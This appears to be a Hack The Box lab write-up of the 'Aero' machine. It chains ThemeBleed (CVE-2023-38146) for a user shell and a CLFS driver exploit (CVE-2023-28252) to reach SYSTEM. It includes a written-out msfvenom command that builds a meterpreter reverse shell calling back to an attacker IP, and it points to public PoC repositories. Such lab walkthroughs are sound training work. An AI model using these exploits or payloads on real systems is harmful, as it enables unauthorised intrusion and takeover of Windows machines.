HTB: Aero
Aero hosts a Windows 11 theme upload site vulnerable to CVE-2023-38146 (ThemeBleed), so a malicious .theme file hands us a shell as the user and the first flag. A PDF left on the box points us at CVE-2023-28252, a critical CLFS driver privesc. We confirm the build, copy a matching compiled PoC over SMB, pair it with a meterpreter payload, and run it to land NT AUTHORITY SYSTEM and grab root.txt.
Looking at our nmap scan we see we have a site hosted on port 80. Checking the app out, it's a site to upload custom Windows 11 themes.
Doing a little research we find CVE-2023-38146 (also known as ThemeBleed), where we can upload a malicious .theme file and achieve RCE. Looking for a PoC we find this one, github.com/Jnnshschl/CVE-2023-38146, so let's download it and get it set up on our Kali box.
We get a hit! We're in as the user. Let's check our privileges and head over to the desktop for that user.txt flag.
Checking the Documents folder we find a PDF about an active CVE on this system. Let's pull it down to our Kali box and read it.
It's a critical privesc CVE we can use on this machine: CVE-2023-28252, which targets the CLFS driver for privilege escalation. We check the build number on the box and confirm it's indeed vulnerable, so we find a PoC compiled for our build, github.com/duck-sec/CVE-2023-28252-Compiled-exe, and bring it over to the Windows box through our SMB share.
Now let's build a meterpreter reverse shell with msfvenom and ship it over, so we can launch it with the exploit.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.x LPORT=4445 -f exe -o rev.exe
We get NT AUTHORITY\SYSTEM! Let's head over to the administrator's desktop and grab that root.txt flag.
This box felt pretty real. Would I see this exact chain out in the real world? Maybe not, but the lesson stuck: always check the Windows build and confirm the exploit works for that build, otherwise you won't enjoy the BSOD and waiting for the machine to reboot.
